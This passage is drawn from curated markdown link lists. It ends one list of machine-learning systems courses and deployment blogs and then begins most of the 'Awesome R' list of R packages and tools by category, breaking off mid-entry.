2019)]](https://ucbrise.github.io/cs294-ai-sys-fa19/) - CSE 599W: System for ML. [[Chen Tianqi]](https://github.com/tqchen) [[University of Washington]](http://dlsys.cs.washington.edu/) - EECS 598: Systems for AI (W'21). [[Mosharaf Chowdhury]](https://www.mosharaf.com/) [[Systems for AI (W'21)]](https://github.com/mosharaf/eecs598/tree/w21-ai) - Tutorial code on how to build your own Deep Learning System in 2k Lines [[GitHub]](https://github.com/tqchen/tinyflow) - CSE 291F: Advanced Data Analytics and ML Systems. [[UCSD]](http://cseweb.ucsd.edu/classes/wi19/cse291-f/) - CSci 8980: Machine Learning in Computer Systems [[University of Minnesota, Twin Cities]](http://www-users.cselabs.umn.edu/classes/Spring-2019/csci8980/) - Mu Li (MxNet, Parameter Server): Introduction to Deep Learning [[Best DL Course I think]](https://courses.d2l.ai/berkeley-stat-157/index.html) [[Book]](https://www.d2l.ai/) - 10-605: Machine Learning with Large Datasets. [[CMU]](https://10605.github.io/fall2020/index.html) - CS 329S: Machine Learning Systems Design. [[Stanford]](https://stanford-cs329s.github.io/index.html) ## Blog - Parallelizing across multiple CPU/GPUs to speed up deep learning inference at the edge [[Amazon Blog]](https://aws.amazon.com/blogs/machine-learning/parallelizing-across-multiple-cpu-gpus-to-speed-up-deep-learning-inference-at-the-edge/) - Building Robust Production-Ready Deep Learning Vision Models in Minutes [[Blog]](https://medium.com/google-developer-experts/building-robust-production-ready-deep-learning-vision-models-in-minutes-acd716f6450a) - Deploy Machine Learning Models with Keras, FastAPI, Redis and Docker [[Blog]](https://medium.com/@shane.soh/deploy-machine-learning-models-with-keras-fastapi-redis-and-docker-4940df614ece) - How to Deploy a Machine Learning Model -- Creating a production-ready API using FastAPI + Uvicorn [[Blog]](https://towardsdatascience.com/how-to-deploy-a-machine-learning-model-dc51200fe8cf) [[GitHub]](https://github.com/MaartenGr/ML-API) - Deploying a Machine Learning Model as a REST API [[Blog]](https://towardsdatascience.com/deploying-a-machine-learning-model-as-a-rest-api-4a03b865c166) - Continuous Delivery for Machine Learning [[Blog]](https://martinfowler.com/articles/cd4ml.html) - Kubernetes CheatSheets In A4 [[GitHub]](https://github.com/HuaizhengZhang/cheatsheet-kubernetes-A4) - A Gentle Introduction to Kubernetes [[Blog]](https://medium.com/faun/a-gentle-introduction-to-kubernetes-4961e443ba26) - Train and Deploy Machine Learning Model With Web Interface - Docker, PyTorch & Flask [[GitHub]](https://github.com/imadelh/ML-web-app) - Learning Kubernetes, The Chinese Taoist Way [[GitHub]](https://github.com/caicloud/kube-ladder) - Data pipelines, Luigi, Airflow: everything you need to know [[Blog]](https://towardsdatascience.com/data-pipelines-luigi-airflow-everything-you-need-to-know-18dc741449b7) - The Deep Learning Toolset — An Overview [[Blog]](https://medium.com/luminovo/the-deep-learning-toolset-an-overview-b71756016c06) - Summary of CSE 599W: Systems for ML [[Chinese Blog]](http://jcf94.com/2018/10/04/2018-10-04-cse559w/) - Polyaxon, Argo and Seldon for Model Training, Package and Deployment in Kubernetes [[Blog]](https://medium.com/analytics-vidhya/polyaxon-argo-and-seldon-for-model-training-package-and-deployment-in-kubernetes-fa089ba7d60b) - Overview of the different approaches to putting Machine Learning (ML) models in production [[Blog]](https://medium.com/analytics-and-data/overview-of-the-different-approaches-to-putting-machinelearning-ml-models-in-production-c699b34abf86) - Being a Data Scientist does not make you a Software Engineer [[Part1]](https://towardsdatascience.com/being-a-data-scientist-does-not-make-you-a-software-engineer-c64081526372) Architecting a Machine Learning Pipeline [[Part2]](https://towardsdatascience.com/architecting-a-machine-learning-pipeline-a847f094d1c7) - Model Serving in PyTorch [[Blog]](https://pytorch.org/blog/model-serving-in-pyorch/) - Machine learning in Netflix [[Medium]](https://medium.com/@NetflixTechBlog) - SciPy Conference Materials (slides, repo) [[GitHub]](https://github.com/deniederhut/Slides-SciPyConf-2018) - 继Spark之后，UC Berkeley 推出新一代AI计算引擎——Ray [[Blog]](http://www.qtmuniao.com/2019/04/06/ray/) - 了解/从事机器学习/深度学习系统相关的研究需要什么样的知识结构？ [[Zhihu]](https://www.zhihu.com/question/315611053/answer/623529977) - Learn Kubernetes in Under 3 Hours: A Detailed Guide to Orchestrating Containers [[Blog]](https://www.freecodecamp.org/news/learn-kubernetes-in-under-3-hours-a-detailed-guide-to-orchestrating-containers-114ff420e882/) [[GitHub]](https://github.com/rinormaloku/k8s-mastery) - data-engineer-roadmap: Learning from multiple companies in Silicon Valley. Netflix, Facebook, Google, Startups [[GitHub]](https://github.com/hasbrain/data-engineer-roadmap) - TensorFlow Serving + Docker + Tornado机器学习模型生产级快速部署 [[Blog]](https://zhuanlan.zhihu.com/p/52096200?utm_source=wechat_session&utm_medium=social&utm_oi=38612796178432) - Deploying a Machine Learning Model as a REST API [[Blog]](https://towardsdatascience.com/deploying-a-machine-learning-model-as-a-rest-api-4a03b865c166) - Colossal-AI: A Unified Deep Learning System for Big Model Era [[Blog]](https://medium.com/@hpcaitech/train-18-billion-parameter-gpt-models-with-a-single-gpu-on-your-personal-computer-8793d08332dc) [[GitHub]](https://github.com/hpcaitech/ColossalAI)

# Awesome R [](https://github.com/sindresorhus/awesome) A curated list of awesome R packages and tools. Inspired by [awesome-machine-learning](https://github.com/josephmisiti/awesome-machine-learning). <p><img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20"> for <a target="_blank" href="https://github.com/rstudio/RStartHere/blob/master/top_downloads_2016/top_packages">Top 50</a> CRAN downloaded packages or repos with 400+ <img class="emoji" alt="star" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/star.png" height="20" align="absmiddle" width="20"></p> - [Awesome R](#awesome-) - [2020](#2020) - [2019](#2019) - [2018](#2018) - [Integrated Development Environments](#integrated-development-environments) - [Syntax](#syntax) - [Data Manipulation](#data-manipulation) - [Graphic Displays](#graphic-displays) - [Html Widgets](#html-widgets) - [Reproducible Research](#reproducible-research) - [Web Technologies and Services](#web-technologies-and-services) - [Parallel Computing](#parallel-computing) - [High Performance](#high-performance) - [Language API](#language-api) - [Database Management](#database-management) - [Machine Learning](#machine-learning) - [Natural Language Processing](#natural-language-processing) - [Bayesian](#bayesian) - [Optimization](#optimization) - [Finance](#finance) - [Bioinformatics and Biostatistics](#bioinformatics-and-biostatistics) - [Network Analysis](#network-analysis) - [Spatial](#spatial) - [R Development](#r-development) - [Logging](#logging) - [Data Packages](#data-packages) - [Other Tools](#other-tools) - [Other Interpreters](#other-interpreters) - [Learning R](#learning-r) - [Resources](#resources) - [Websites](#websites) - [Books](#books) - [Podcasts](#podcasts) - [Reference Cards](#reference-cards) - [MOOCs](#moocs) - [Lists](#lists) - [Other Awesome Lists](#other-awesome-lists) - [Contributing](#contributing) ## 2020 * [VSCode](https://code.visualstudio.com/) - [vscode-R](https://marketplace.visualstudio.com/items?itemName=Ikuyadeu.r) + [vscode-r-lsp](https://marketplace.visualstudio.com/items?itemName=REditorSupport.r-lsp) VSCode R Langauage Support * [gt](https://github.com/rstudio/gt) - Easily generate information-rich, publication-quality tables from R * [lightgbm <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://cran.r-project.org/web/packages/lightgbm/index.html) - Light Gradient Boosting Machine. * [torch](https://cran.r-project.org/web/packages/torch/index.html) - Tensors and Neural Networks with 'GPU' Acceleration. ## 2019 * [ggforce](https://github.com/thomasp85/ggforce) - ggplot2 extension framework  * [rayshader](https://github.com/tylermorganwall/rayshader) - 2D and 3D data visualizations via rgl  * [vroom](https://github.com/r-lib/vroom) - Fast reading of delimited files  ## Integrated Development Environments *Integrated Development Environment* * [VSCode <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://code.visualstudio.com/) - [vscode-R](https://marketplace.visualstudio.com/items?itemName=Ikuyadeu.r) + [vscode-r-lsp](https://marketplace.visualstudio.com/items?itemName=REditorSupport.r-lsp) VSCode R Langauage Support * [RStudio <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://www.rstudio.org/) - A powerful and productive user interface for R. Works great on Windows, Mac, and Linux. * [Emacs + ESS](http://ess.r-project.org/) - Emacs Speaks Statistics is an add-on package for emacs text editors. * [Sublime Text + R-Box](http://github.com/randy3k/R-Box/) - Add-on package for Sublime Text 2/3. * [TextMate + r.tmblundle](https://github.com/textmate/r.tmbundle) - Add-on package for TextMate 1/2. * [StatET](http://www.walware.de/goto/statet) - An Eclipse based IDE for R. * [Microsoft R](https://mran.microsoft.com/) - Revolution R would be offered free to academic users and commercial software would focus on big data, large scale multiprocessor functionality. * [R Commander](http://socserv.mcmaster.ca/jfox/Misc/Rcmdr/) - A package that provides a basic graphical user interface. * [IRkernel <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/IRkernel/IRkernel) - R kernel for Jupyter. * [Deducer](http://www.deducer.org/pmwiki/pmwiki.php?n=Main.DeducerManual?from=Main.HomePage) - A Menu driven data analysis GUI with a spreadsheet like data editor. * [Radiant](https://radiant-rstats.github.io/docs) - A platform-independent browser-based interface for business analytics in R, based on the Shiny. * [Vim-R](https://github.com/vim-scripts/Vim-R-plugin) - Vim plugin for R. * [Nvim-R](https://github.com/jalvesaq/Nvim-R) - Neovim plugin for R. * [Jamovi](https://www.jamovi.org/) and [JASP](https://jasp-stats.org/) - Desktop software for both Bayesian and Frequentist methods, using a UI familiar to SPSS users. * [Bio7](http://www.bio7.org/) - An IDE contains tools for model creation, scientific image analysis and statistical analysis for ecological modelling. * [RTVS](http://microsoft.github.io/RTVS-docs/) - R Tools for Visual Studio. * [radian <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/randy3k/radian) (formerly rtichoke) - A modern R console with syntax highlighting. * [RKWard](https://rkward.kde.org/) - An extensible IDE/GUI for R. ## Syntax *Packages change the way you use R.* * [magrittr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/smbache/magrittr) - Let's pipe it. * [pipeR](https://github.com/renkun-ken/pipeR) - Multi-paradigm Pipeline Implementation. * [lambda.r](https://github.com/zatonovo/lambda.r) - Functional programming and simple pattern matching in R. * [purrr](https://github.com/hadley/purrr) - A FP package for R in the spirit of underscore.js. ## Data Manipulation *Packages for cooking data.* * [dplyr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/dplyr) - Fast data frames manipulation and database query. * [data.table <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/Rdatatable/data.table) - Fast data manipulation in a short and flexible syntax. * [reshape2 <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/reshape) - Flexible rearrange, reshape and aggregate data. * [tidyr](https://github.com/hadley/tidyr) - Easily tidy data with spread and gather functions. * [broom <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/dgrtwo/broom) - Convert statistical analysis objects into tidy data frames. * [rlist](https://github.com/renkun-ken/rlist) - A toolbox for non-tabular data manipulation with lists. * [ff](http://ff.r-forge.r-project.org/) - Data structures designed to store large datasets. * [lubridate](https://github.com/tidyverse/lubridate) - A set of functions to work with dates and times. * [stringi <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/gagolews/stringi) - ICU based string processing package. * [stringr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/stringr) - Consistent API for string processing, built on top of stringi. * [bigmemory](https://github.com/kaneplusplus/bigmemory) - Shared memory and memory-mapped matrices. The big\* packages provide additional tools including linear models ([biglm](http://cran.r-project.org/web/packages/biglm/index.html)) and Random Forests ([bigrf](https://github.com/aloysius-lim/bigrf)). * [fuzzyjoin](https://github.com/dgrtwo/fuzzyjoin) - Join tables together on inexact matching. * [tidyverse](https://github.com/hadley/tidyverse) - Easily install and load packages from the tidyverse. * [snakecase](https://github.com/Tazinho/snakecase) - Automatically parse and convert strings into cases like snake or camel among others. * [DataExplorer](https://github.com/boxuancui/DataExplorer) - Fast exploratory data analysis with minimum code. ## Data Formats *Packages for reading and writing data of different formats.* * [arrow <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://arrow.apache.org/docs/r/) - An interface to the Arrow C++ library. * [feather <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/wesm/feather) - Fast, interoperable binary data frame storage for Python, R, and more powered by Apache Arrow. * [fst <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](www.fstpackage.org/fst/) - Lightning Fast Serialization of Data Frames for R. * [haven](https://github.com/hadley/haven) - Improved methods to import SPSS, Stata and SAS files in R. * [jsonlite](https://github.com/jeroenooms/jsonlite) - A robust and quick way to parse JSON files in R. * [qs](https://github.com/traversc/qs) - Quick serialization of R objects. * [readxl <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://readxl.tidyverse.org/) - Read excel files (.xls and .xlsx) into R. * [readr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/readr) - A fast and friendly way to read tabular data into R. * [rio](https://github.com/leeper/rio) - A Swiss-Army Knife for Data I/O. * [readODS](https://github.com/chainsawriot/readODS/) - Read OpenDocument Spreadsheets into R as data.frames. * [RcppTOML](https://github.com/eddelbuettel/rcpptoml) - Rcpp Bindings to C++ parser for TOML files. * [vroom](https://github.com/r-lib/vroom) - Fast reading of delimited files. * [writexl](https://docs.ropensci.org/writexl/) - Portable, light-weight data frame to xlsx exporter for R. * [yaml](https://github.com/viking/r-yaml) - R package for converting objects to and from YAML. ## Graphic Displays *Packages for showing data.* * [ggplot2 <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/ggplot2) - An implementation of the Grammar of Graphics. * [ggfortify](https://github.com/sinhrks/ggfortify) - A unified interface to ggplot2 popular statistical packages using one line of code. * [ggrepel](https://github.com/slowkow/ggrepel) - Repel overlapping text labels away from each other. * [ggalt](https://github.com/hrbrmstr/ggalt) - Extra Coordinate Systems, Geoms and Statistical Transformations for ggplot2. * [ggstatsplot](https://github.com/IndrajeetPatil/ggstatsplot) - ggplot2 Based Plots with Statistical Details * [ggtree](https://github.com/GuangchuangYu/ggtree) - Visualization and annotation of phylogenetic tree. * [ggtech](https://github.com/ricardo-bion/ggtech) - ggplot2 tech themes and scales * [ggplot2 Extensions](https://ggplot2-exts.github.io/ggiraph.html) - Showcases of ggplot2 extensions. * [lattice](https://github.com/deepayan/lattice) - A powerful and elegant high-level data visualization system. * [corrplot](https://github.com/taiyun/corrplot) - A graphical display of a correlation matrix or general matrix. It also contains some algorithms to do matrix reordering. * [rgl](http://cran.r-project.org/web/packages/rgl/index.html) - 3D visualization device system for R. * [Cairo](http://cran.r-project.org/web/packages/Cairo/index.html) - R graphics device using cairo graphics library for creating high-quality display output. * [extrafont](https://github.com/wch/extrafont) - Tools for using fonts in R graphics. * [showtext](https://github.com/yixuan/showtext) - Enable R graphics device to show text using system fonts. * [animation](https://github.com/yihui/animation) - A simple way to produce animated graphics in R, using [ImageMagick](http://imagemagick.org/). * [gganimate](https://github.com/dgrtwo/gganimate) - Create easy animations with ggplot2. * [misc3d](https://cran.r-project.org/web/packages/misc3d/index.html) - Powerful functions to deal with 3d plots, isosurfaces, etc. * [xkcd](https://cran.r-project.org/web/packages/xkcd/index.html) - Use xkcd style in graphs. * [imager](http://dahtah.github.io/imager/) - An image processing package based on CImg library to work with images and display them. * [hrbrthemes](https://github.com/hrbrmstr/hrbrthemes) - 🔏 Opinionated, typographic-centric ggplot2 themes and theme components. * [waffle](https://github.com/hrbrmstr/waffle) - 🍁 Make waffle (square pie) charts in R. * [dendextend](https://github.com/talgalili/dendextend) - visualizing, adjusting and comparing trees of hierarchical clustering. * [idendro](https://github.com/tsieger/idendro) - interactive exploration of dendrograms (trees of hierarchical clustering). * [r2d3](https://rstudio.github.io/r2d3/) - R Interface to D3 Visualizations * [Patchwork](https://github.com/thomasp85/patchwork) - Combine separate ggplots into the same graphic. * [plot3D](http://www.rforscience.com/rpackages/visualisation/plot3d/) - Plotting Multi-Dimensional Data * [plot3Drgl](https://cran.r-project.org/web/packages/plot3Drgl/index.html) - Plotting Multi-Dimensional Data - Using 'rgl' * [httpgd](https://github.com/nx10/httpgd) - Asynchronous http server graphics device for R. ## HTML Widgets *Packages for interactive visualizations.* * [heatmaply](https://github.com/talgalili/heatmaply) - Interactive heatmaps with D3. * [d3heatmap](https://github.com/rstudio/d3heatmap) - Interactive heatmaps with D3 (no longer maintained). * [DataTables](http://rstudio.github.io/DT/) - Displays R matrices or data frames as interactive HTML tables. * [DiagrammeR <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/rich-iannone/DiagrammeR) - Create JS graph diagrams and flowcharts in R. * [dygraphs](https://github.com/rstudio/dygraphs) - Charting time-series data in R. * [formattable <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/renkun-ken/formattable) - Formattable Data Structures. * [ggvis <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/rstudio/ggvis) - Interactive grammar of graphics for R. * [Leaflet](http://rstudio.github.io/leaflet/) - One of the most popular JavaScript libraries interactive maps. * [MetricsGraphics](http://hrbrmstr.github.io/metricsgraphics/) - Enables easy creation of D3 scatterplots, line charts, and histograms. * [networkD3](http://christophergandrud.github.io/networkD3/) - D3 JavaScript Network Graphs from R. * [scatterD3](https://github.com/juba/scatterD3) - Interactive scatterplots with D3. * [plotly <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/ropensci/plotly) - Interactive ggplot2 and Shiny plotting with [plot.ly](https://plot.ly). * [rCharts <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/ramnathv/rCharts) - Interactive JS Charts from R. * [rbokeh](http://hafen.github.io/rbokeh/) - R Interface to [Bokeh](http://bokeh.pydata.org/en/latest/). * [threejs](https://github.com/bwlewis/rthreejs) - Interactive 3D scatter plots and globes. * [timevis](https://github.com/daattali/timevis) - Create fully interactive timeline visualizations. * [visNetwork](https://github.com/datastorm-open/visNetwork) - Using vis.js library for network visualization. * [wordcloud2](https://github.com/Lchiffon/wordcloud2) - R interface to wordcloud2.js. * [highcharter](https://github.com/jbkunst/highcharter) - R wrapper for highcharts based on htmlwidgets * [echarts4r](https://github.com/JohnCoene/echarts4r) - R wrapper to Echarts version 4 ## Reproducible Research *Packages for literate programming and reproducible workflows.* * [knitr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/yihui/knitr) - Easy dynamic report generation in R. * [redoc](https://github.com/noamross/redoc) - Reversible Reproducible Documents * [tinytex](https://github.com/yihui/tinytex) - A lightweight and easy-to-maintain LaTeX distribution * [xtable](http://cran.r-project.org/web/packages/xtable/index.html) - Export tables to LaTeX or HTML. * [rapport](http://rapport-package.info/#intro) - An R templating system. * [rmarkdown <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://rmarkdown.rstudio.com/) - Dynamic documents for R. * [slidify <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/ramnathv/slidify) - Generate reproducible html5 slides from R markdown. * [Sweave](https://www.statistik.lmu.de/~leisch/Sweave/) - A package designed to write LaTeX reports using R. * [texreg](https://github.com/leifeld/texreg) - Formatting statistical models in LaTex and HTML. * [checkpoint](https://github.com/RevolutionAnalytics/checkpoint) - Install packages from snapshots on the checkpoint server. * [brew](https://cran.r-project.org/web/packages/brew/index.html) - Pre-compute data to enhance your report templates. Can be combined with knitr. * [officer](https://davidgohel.github.io/officer/index.html) - An R package to generate Microsoft Word, Microsoft PowerPoint and HTML reports. * [flextable](https://davidgohel.github.io/flextable/index.html) - An R package to embed complex tables (merged cells, multi-level headers and footers, conditional formatting) in Microsoft Word, Microsoft PowerPoint and HTML reports. It cooperates with the [officer] package and integrates with [rmarkdown] reports. * [bookdown](https://bookdown.org/) - Authoring Books with R Markdown. * [ezknitr](https://github.com/daattali/ezknitr) - Avoid the typical working directory pain when using 'knitr' * [drake](https://github.com/ropensci/drake) - An [rOpenSci](https://ropensci.org/) package for reproducible data science workflows too big for [knitr](http://yihui.name/knitr/). * [R Suite](http://rsuite.io) - A package to design flexible and reproducible deployment workflows for R. * [kable](https://cran.r-project.org/web/packages/kableExtra/vignettes/awesome_table_in_html.html) - Build fancy HTML or 'LaTeX' tables using 'kable()' from 'knitr'. ## Web Technologies and Services *Packages to surf the web.* * [Web Technologies List](https://github.com/ropensci/webservices) - Information about how to use R and the world wide web together. * [shiny <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/rstudio/shiny) - Easy interactive web applications with R. See also [awesome-rshiny](https://github.com/grabear/awesome-rshiny) * [shinyjs](https://github.com/daattali/shinyjs) - Easily improve the user interaction and user experience in your Shiny apps in seconds. * [RCurl](http://cran.r-project.org/web/packages/RCurl/index.html) - General network (HTTP/FTP/...) client interface for R. * [curl](https://github.com/jeroen/curl) - A Modern and Flexible Web Client for R. * [httr <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/httr) - User-friendly RCurl wrapper. * [httpuv](https://github.com/rstudio/httpuv) - HTTP and WebSocket server library. * [XML <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://cran.r-project.org/web/packages/XML/index.html) - Tools for parsing and generating XML within R. * [xml2 <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://cran.r-project.org/web/packages/xml2/index.html) - Optimized tools for parsing and generating XML within R. * [rvest <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/hadley/rvest) - Simple web scraping for R, using CSSSelect or XPath syntax. * [OpenCPU <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://www.opencpu.org/) - HTTP API for R handling concurrent calls, based on the Apache2 web server, to expose R code as REST web services and create full-sized, multi-page web applications. * [Rfacebook](https://github.com/pablobarbera/Rfacebook) - Access to Facebook API via R. * [RSiteCatalyst](https://github.com/randyzwitch/RSiteCatalyst) - R client library for the Adobe Analytics. * [plumber](https://github.com/trestletech/plumber) - A library to expose existing R code as web API. * [golem](https://thinkr-open.github.io/golem/) - A framework for building production-grade Shiny apps. ## Parallel Computing *Packages for parallel computing.* * [parallel](http://cran.r-project.org/web/views/HighPerformanceComputing.html) - R started with release 2.14.0 which includes a new package parallel incorporating (slightly revised) copies of packages [multicore](http://cran.r-project.org/web/packages/multicore/index.html) and [snow](http://cran.r-project.org/web/packages/snow/index.html). * [Rmpi](http://cran.r-project.org/web/packages/Rmpi/index.html) - Rmpi provides an interface (wrapper) to MPI APIs. It also provides interactive R slave environment. * [foreach <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://cran.r-project.org/web/packages/foreach/index.html) - Executing the loop in parallel. * [future <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://cran.r-project.org/package=future) - A minimal, efficient, cross-platform unified Future API for parallel and distributed processing in R; designed for beginners as well as advanced developers. * [SparkR <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://github.com/amplab-extras/SparkR-pkg) - R frontend for Spark. * [DistributedR](https://github.com/vertica/DistributedR) - A scalable high-performance platform from HP Vertica Analytics Team. * [ddR](https://github.com/vertica/ddR) - Provides distributed data structures and simplifies distributed computing in R. * [sparklyr](http://spark.rstudio.com/) - R interface for Apache Spark from RStudio. * [batchtools](https://cran.r-project.org/package=batchtools) - High performance computing with LSF, TORQUE, Slurm, OpenLava, SGE and Docker Swarm. ## High Performance *Packages for making R faster.* * [Rcpp <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](http://rcpp.org/) - Rcpp provides a powerful API on top of R, make function in R extremely faster. * [Rcpp11](https://github.com/Rcpp11/Rcpp11) - Rcpp11 is a complete redesign of Rcpp, targetting C++11. * [compiler](http://stat.ethz.ch/R-manual/R-devel/library/compiler/html/compile.html) - speeding up your R code using the JIT * [cpp11](https://github.com/r-lib/cpp11) - cpp11 is a header-only R package that helps R package developers handle R objects with C++ code. It's similar to Rcpp but with different design trade-offs and features. ## Language API *Packages for other languages.* * [rJava](http://cran.r-project.org/web/packages/rJava/) - Low-level R to Java interface. * [jvmr](https://github.com/cran/jvmr) - Integration of R, Java, and Scala. * [reticulate <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://cran.r-project.org/web/packages/reticulate/index.html) - Interface to 'Python'. * [rJython](http://cran.r-project.org/web/packages/rJython/index.html) - R interface to Python via Jython. * [rPython](http://cran.r-project.org/web/packages/rPython/index.html) - Package allowing R to call Python. * [runr](https://github.com/yihui/runr) - Run Julia and Bash from R. * [RJulia](https://github.com/armgong/RJulia) - R package Call Julia. * [JuliaCall](https://github.com/Non-Contradiction/JuliaCall) - Seamless Integration Between R and Julia. * [RinRuby](https://sites.google.com/a/ddahl.org/rinruby-users/) - a Ruby library that integrates the R interpreter in Ruby. * [R.matlab](http://cran.r-project.org/web/packages/R.matlab/index.html) - Read and write of MAT files together with R-to-MATLAB connectivity. * [RcppOctave](https://github.com/renozao/RcppOctave) - Seamless Interface to Octave and Matlab. * [RSPerl](http://www.omegahat.org/RSPerl/) - A bidirectional interface for calling R from Perl and Perl from R. * [V8](https://github.com/jeroenooms/V8) - Embedded JavaScript Engine. * 